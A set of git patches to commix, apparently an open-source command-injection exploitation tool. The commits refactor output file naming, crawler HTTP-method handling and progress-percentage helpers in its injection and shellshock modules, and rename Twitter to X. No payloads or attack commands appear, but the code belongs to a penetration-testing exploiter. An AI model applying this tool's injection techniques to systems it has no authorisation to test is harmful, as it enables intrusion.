.../semiblind/techniques/tempfile_based/tfb_handler.py | 4 ++-- src/utils/crawler.py | 2 +- src/utils/settings.py | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 6d045605ac..afd34efb07 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -207,7 +207,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) - OUTPUT_TEXTFILE = TAG + ".txt" + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT if re.findall(settings.DIRECTORY_REGEX,payload): filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] settings.WEB_ROOT = os.path.dirname(filepath) @@ -228,7 +228,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. - OUTPUT_TEXTFILE = TAG + ".txt" + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 573a4fbb81..f07f4bf303 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -261,7 +261,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): count = count - 1 last_param = path_parts[count] output = url.replace(last_param, OUTPUT_TEXTFILE) - if "?" and ".txt" in output: + if "?" and settings.OUTPUT_FILE_EXT in output: try: output = output.split("?")[0] except: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 5140234253..4db72f11ae 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -105,7 +105,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec - OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT except TypeError: checks.error_loading_session_file() @@ -117,7 +117,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, prefix = "" # The output file for file-based injection technique. - OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 4198a45bd0..9af9c3f188 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -107,7 +107,7 @@ def store_crawling(output_href): message += "(for eventual further processing with other tools)? [y/N] > " message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: - filename = tempfile.mkstemp(suffix=".txt")[1] + filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." print(settings.print_info_msg(info_msg)) with open(filename, "a") as crawling_results: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7df01bf1b9..4304f63ed9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "62" +REVISION = "63" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a1a792391e80105e99e69380fcbb04a88862cd3d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Jun 2024 08:41:55 +0300 Subject: [PATCH 460/560] Minor update --- src/core/injections/controller/checks.py | 11 ++++++++ src/core/injections/controller/controller.py | 2 +- .../techniques/file_based/fb_handler.py | 25 ++++++------------- src/core/main.py | 1 - src/utils/settings.py | 2 +- 5 files changed, 21 insertions(+), 20 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4d2b0011a1..029fb13d9d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2666,6 +2666,17 @@ def check_wrong_flags(): warn_msg += "the target has been identified as Unix-like. " print(settings.print_warning_msg(warn_msg)) +""" +Set writable path name +""" +def setting_writable_dir(path): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Using '" + path + "' for writable directory." + print(settings.print_debug_msg(debug_msg)) + info_msg = "Trying to create a file in directory '" + path + info_msg += "' for command execution output. " + print(settings.print_info_msg(info_msg)) + """ Define python working dir (for windows targets) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 01a8d7162e..6974b5f808 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -252,6 +252,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) """ +Check parameter in HTTP header. """ def check_parameter_in_http_header(check_parameter): inject_http_headers = False @@ -592,7 +593,6 @@ def post_request(url, http_request_method, filename, timesec): found_parameter_list.append(found_parameter) found_parameter = found_parameter_list - if settings.IS_JSON or settings.IS_XML: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index afd34efb07..7e4fa94b67 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -48,12 +48,8 @@ """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + tmp_path + "' for temporary writable directory." - print(settings.print_debug_msg(debug_msg)) - info_msg = "Trying to create a file in temporary " - info_msg += "directory ('" + tmp_path + "') for command execution output.\n" - sys.stdout.write(settings.print_info_msg(info_msg)) + path = tmp_path + checks.setting_writable_dir(path) call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb else : @@ -98,13 +94,8 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon settings.CUSTOM_WEB_ROOT = True if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + settings.WEB_ROOT + "' for writable directory." - print(settings.print_debug_msg(debug_msg)) - info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT - info_msg += "' for command execution output. " - print(settings.print_info_msg(info_msg)) - + path = settings.WEB_ROOT + checks.setting_writable_dir(path) menu.options.web_root = settings.WEB_ROOT.strip() """ @@ -375,13 +366,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: - err_msg = "Authorization required!" - print(settings.print_critical_msg(err_msg) + "\n") + err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." + print(settings.print_critical_msg(err_msg)) raise SystemExit() elif str(e.getcode()) == settings.FORBIDDEN_ERROR: - err_msg = "You don't have permission to access this page." - print(settings.print_critical_msg(err_msg) + "\n") + err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." + print(settings.print_critical_msg(err_msg)) raise SystemExit() except (KeyboardInterrupt, SystemExit): diff --git a/src/core/main.py b/src/core/main.py index c56fe29222..240ceade24 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -547,7 +547,6 @@ def main(filename, url, http_request_method): # Retrieve everything from the supported enumeration options. if menu.options.enum_all: checks.enable_all_enumeration_options() - controller.do_check(url, http_request_method, filename) return filename diff --git a/src/utils/settings.py b/src/utils/settings.py index 4304f63ed9..30a29b0988 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "63" +REVISION = "64" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 51bd43182d449f37d53af58b9e11112cde2c158b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Jun 2024 09:35:34 +0300 Subject: [PATCH 461/560] Fixes https://github.com/commixproject/commix/issues/921 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 6 +++-- src/core/main.py | 12 +++++----- src/core/requests/requests.py | 17 ++++++++++---- src/utils/crawler.py | 30 ++++++++++++------------ src/utils/settings.py | 4 +++- 6 files changed, 41 insertions(+), 29 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a60debb2e8..1159c169c8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). * Updated: Six (third party) module has been updated (Python 3.12 support). * Revised: Minor improvement regarding determining (passively) the target's underlying operating system. * Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 029fb13d9d..345b504b8a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -282,9 +282,11 @@ def alert(): Check for HTTP Method """ def check_http_method(url): - if menu.options.method: + if settings.CRAWLING: + http_request_method = settings.HTTPMETHOD.GET + elif menu.options.method: http_request_method = menu.options.method.upper() - elif settings.INJECT_TAG in url: + elif isinstance(url, str) and settings.INJECT_TAG in url: http_request_method = settings.HTTPMETHOD.GET else: if settings.USER_DEFINED_POST_DATA: diff --git a/src/core/main.py b/src/core/main.py index 240ceade24..3172e95416 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -874,7 +874,7 @@ def main(filename, url, http_request_method): else: url = menu.options.url - if menu.options.data: + if menu.options.data and not settings.CRAWLING: settings.USER_DEFINED_POST_DATA = menu.options.data # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: @@ -884,8 +884,8 @@ def main(filename, url, http_request_method): if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel + http_request_method = checks.check_http_method(url) if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: - http_request_method = checks.check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True response, url = url_response(url, http_request_method) @@ -926,14 +926,14 @@ def main(filename, url, http_request_method): url_num = 1 if not menu.options.bulkfile and not settings.STDIN_PARSING: crawling_list = 1 - output_href = crawler.crawler(url, url_num, crawling_list) + output_href = crawler.crawler(url, url_num, crawling_list, http_request_method) output_href.append(url) else: if settings.STDIN_PARSING: bulkfile = stdin_parsing_target(os_checks_num) crawling_list = len(bulkfile) for url in bulkfile: - output_href += (crawler.crawler(url, url_num, crawling_list)) + output_href += (crawler.crawler(url, url_num, crawling_list, http_request_method)) url_num += 1 output_href = output_href + bulkfile output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] @@ -990,7 +990,7 @@ def main(filename, url, http_request_method): url_num += 1 perform_check = True while True: - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url)) + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: @@ -1024,7 +1024,7 @@ def main(filename, url, http_request_method): pass else: url_num += 1 - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + url)) + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + http_request_method + " " + url)) if url_num == len(clean_output_href): raise SystemExit() diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ac04798732..ab042ae369 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -43,12 +43,14 @@ """ Do a request to target URL. """ -def crawler_request(url): +def crawler_request(url, http_request_method): try: - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC), method=http_request_method) + # Check if defined POST data + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - request = _urllib.request.Request(url, method=http_request_method) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) headers.do_check(request) headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -65,7 +67,12 @@ def crawler_request(url): if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS_NUM += 1 - request_failed(err_msg) + if settings.SITEMAP_XML_FILE in url and settings.NOT_FOUND_ERROR in str(err_msg): + warn_msg = "'" + settings.SITEMAP_XML_FILE + "' not found." + print(settings.print_warning_msg(warn_msg)) + else: + request_failed(err_msg) + """ Estimating the response time (in seconds). diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 9af9c3f188..7573868965 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -126,13 +126,13 @@ def store_crawling(output_href): """ Check for URLs in sitemap.xml. """ -def sitemap(url): +def sitemap(url, http_request_method): try: if not url.endswith(".xml"): if not url.endswith("/"): url = url + "/" - url = _urllib.parse.urljoin(url, "sitemap.xml") - response = request(url) + url = _urllib.parse.urljoin(url, settings.SITEMAP_XML_FILE) + response = request(url, http_request_method) content = checks.page_encoding(response, action="decode") for match in re.finditer(r"\s*([^<]+)", content or ""): url = match.group(1).strip() @@ -145,7 +145,7 @@ def sitemap(url): message = "Do you want to follow? [Y/n] > " message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: - sitemap(url) + sitemap(url, http_request_method) break elif message in settings.CHOICE_NO: break @@ -179,8 +179,8 @@ def store_hrefs(href, identified_hrefs, redirection): """ Do a request to target URL. """ -def request(url): - return requests.crawler_request(url) +def request(url, http_request_method): + return requests.crawler_request(url, http_request_method) """ Enable crawler. @@ -236,13 +236,13 @@ def no_usable_links(crawled_hrefs): """ The crawing process. """ -def do_process(url): +def do_process(url, http_request_method): identified_hrefs = False if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: sys.stdout.write("\r") # Grab the crawled hrefs. try: - response = request(url) + response = request(url, http_request_method) content = checks.page_encoding(response, action="decode") match = re.search(r"(?si)]*>(.+)", content) if match: @@ -282,24 +282,24 @@ def do_process(url): """ The main crawler. """ -def crawler(url, url_num, crawling_list): +def crawler(url, url_num, crawling_list, http_request_method): init_global_vars() if crawling_list > 1: _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" else: _ = "" - info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." - print(settings.print_info_msg(info_msg)) - response = request(url) + response = request(url, http_request_method) if type(response) is not bool and response is not None: if settings.SITEMAP_CHECK: enable_crawler() if settings.SITEMAP_CHECK is None: check_sitemap() if settings.SITEMAP_CHECK: - output_href = sitemap(url) + output_href = sitemap(url, http_request_method) if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): - output_href = do_process(url) + info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." + print(settings.print_info_msg(info_msg)) + output_href = do_process(url, http_request_method) if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: settings.DEFAULT_CRAWLING_DEPTH = 1 while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): @@ -323,7 +323,7 @@ def crawler(url, url_num, crawling_list): if settings.SINGLE_WHITESPACE in url: url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) visited_hrefs.append(url) - do_process(url) + do_process(url, http_request_method) info_msg = str(link) info_msg += "/" + str(len(output_href)) + " links visited." sys.stdout.write("\r" + settings.print_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 30a29b0988..a098916ff7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "64" +REVISION = "65" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1316,6 +1316,8 @@ class AUTH_TYPE(object): SITEMAP_CHECK = None +SITEMAP_XML_FILE = "sitemap.xml" + FOLLOW_REDIRECT = True # Set predefined answers (e.g. "quit=N,follow=N"). From 33ab76b5e2ad7ad46a974505fa061fd40b180cda Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 11 Jun 2024 07:22:42 +0300 Subject: [PATCH 462/560] Minor code refactoring --- .../blind/techniques/time_based/tb_handler.py | 3 +- .../techniques/time_based/tb_injector.py | 5 ++- src/core/injections/controller/checks.py | 24 ++++++++----- .../techniques/classic/cb_handler.py | 9 ++--- .../techniques/eval_based/eb_handler.py | 12 ++----- .../techniques/file_based/fb_handler.py | 17 +++------ .../techniques/tempfile_based/tfb_handler.py | 4 +-- .../techniques/tempfile_based/tfb_injector.py | 5 ++- src/core/modules/shellshock/shellshock.py | 35 ++++++++++--------- src/utils/settings.py | 2 +- 10 files changed, 52 insertions(+), 64 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e4e9e6d5f0..898664609c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -171,8 +171,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r how_long_statistic.append(how_long) # Injection percentage calculation - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2)) + percent, float_percent = checks.percentage_calculation(num_of_chars, total) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index e897fd20c1..f933775410 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -324,12 +324,11 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if injection_check == True: if settings.VERBOSITY_LEVEL == 0: output.append(chr(ascii_char)) - percent = ((num_of_chars*100)/output_length) - float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" + percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) if percent == 100: float_percent = settings.info_msg else: - float_percent = ".. (" + str(float_percent) + ")" + float_percent = ".. (" + str(float_percent) + "%)" info_msg = "Presuming the execution output." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 345b504b8a..40876dbc26 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -408,21 +408,29 @@ def testing_technique_title(injection_type, technique): Injection process (percent) """ def injection_process(injection_type, technique, percent): - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + if settings.VERBOSITY_LEVEL == 0: + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() """ Percentage calculation """ -def result_based_injection_percentage_calculation(float_percent, no_result, shell): - if float(float_percent) >= 99.9 or str(float_percent) == "100.0": - if no_result == True: +def percentage_calculation(i, total): + percent = ((i*100)/total) + float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) + return percent, float_percent + +""" +Print percentage calculation +""" +def print_percentage(float_percent, no_result, shell): + if float(float_percent) == 100: + if no_result: percent = settings.FAIL_STATUS else: percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: + elif shell: percent = settings.info_msg else: percent = ".. (" + str(float_percent) + "%)" diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index ecf0069e3d..7132c2eb2b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -163,13 +163,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ time.sleep(timesec) shell = cb_injector.injection_test_results(response, TAG, randvcalc) if settings.VERBOSITY_LEVEL == 0: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - - if shell == False: - checks.injection_process(injection_type, technique, float_percent) - - percent = checks.result_based_injection_percentage_calculation(float_percent, no_result, shell) + percent, float_percent = checks.percentage_calculation(i, total) + percent = checks.print_percentage(float_percent, no_result, shell) checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index ad8b466772..316b4394c7 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -172,17 +172,11 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. - shell = eb_injector.injection_test_results(response, TAG, randvcalc) time.sleep(timesec) - + shell = eb_injector.injection_test_results(response, TAG, randvcalc) if settings.VERBOSITY_LEVEL == 0: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) - - if shell == False: - checks.injection_process(injection_type, technique, float_percent) - - percent = checks.result_based_injection_percentage_calculation(float_percent, no_result, shell) + percent, float_percent = checks.percentage_calculation(i, total) + percent = checks.print_percentage(float_percent, no_result, shell) checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 7e4fa94b67..91179a3172 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -142,16 +142,10 @@ def check_trailing_slashes(): return tmp_path -def finalize(exit_loops, no_result, float_percent, injection_type, technique): +def finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): if exit_loops == False: if settings.VERBOSITY_LEVEL == 0: - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - else: - percent = ".. (" + str(float_percent) + "%)" + percent = checks.print_percentage(float_percent, no_result, shell) checks.injection_process(injection_type, technique, percent) return True else: @@ -312,8 +306,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r except _urllib.error.HTTPError as e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) + percent, float_percent = checks.percentage_calculation(i, total) if call_tmp_based == True: exit_loops = True @@ -325,7 +318,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Use the "/tmp/" directory for tempfile-based technique. elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): if i == total: - if finalize(exit_loops, no_result, float_percent, injection_type, technique): + if finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): continue else: raise @@ -360,7 +353,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r continue else: - if finalize(exit_loops, no_result, float_percent, injection_type, technique): + if finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): continue else: raise diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 4db72f11ae..e6fbd63ba6 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -182,8 +182,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, how_long_statistic.append(how_long) # Injection percentage calculation - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) + percent, float_percent = checks.percentage_calculation(num_of_chars, total) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: @@ -192,7 +191,6 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, percent = "" else: if checks.time_relative_shell(url_time_response, how_long, timesec): - # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 3bf92ac47c..15814e8006 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -329,12 +329,11 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if injection_check == True: if settings.VERBOSITY_LEVEL == 0: output.append(chr(ascii_char)) - percent = ((num_of_chars*100)/output_length) - float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%" + percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) if percent == 100: float_percent = settings.info_msg else: - float_percent = ".. (" + str(float_percent) + ")" + float_percent = ".. (" + str(float_percent) + "%)" info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE +"')." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 4fdaabaf57..162e22a1a8 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -68,6 +68,23 @@ def shellshock_exploitation(cve, cmd): payload = shellshock_payloads(cve, attack_vector) return payload +""" +Print percentage calculation +""" +def print_percentage(no_result, response_info, cve, float_percent): + if float(float_percent) == 100: + if no_result == True: + percent = settings.FAIL_STATUS + else: + percent = settings.info_msg + no_result = False + elif len(response_info) > 0 and cve in response_info: + percent = settings.info_msg + no_result = False + else: + percent = str(float_percent)+ "%" + return percent, no_result + """ Enumeration Options """ @@ -320,22 +337,8 @@ def shellshock_handler(url, http_request_method, filename): if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = settings.info_msg - no_result = False - - elif len(response_info) > 0 and cve in response_info: - percent = settings.info_msg - no_result = False - - else: - percent = str(float_percent)+ "%" + percent, float_percent = checks.percentage_calculation(i, total) + percent, no_result = print_percentage(no_result, response_info, cve, float_percent) if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" diff --git a/src/utils/settings.py b/src/utils/settings.py index a098916ff7..c4657e9871 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "65" +REVISION = "66" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4f2654326a135796cb8a75f1d1bb88b7e3b9799a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 12 Jun 2024 07:17:03 +0300 Subject: [PATCH 463/560] Renaming Twitter to X --- README.md | 4 ++-- doc/THANKS.md | 2 +- doc/translations/README-fa-FA.md | 4 ++-- doc/translations/README-gr-GR.md | 4 ++-- doc/translations/README-idn-IDN.md | 4 ++-- doc/translations/README-tr-TR.md | 4 ++-- src/utils/menu.py | 4 ++-- src/utils/settings.py | 6 +++--- 8 files changed, 16 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index acde50f1bc..b3e3570022 100644 --- a/README.md +++ b/README.md @@ -5,11 +5,11 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + X

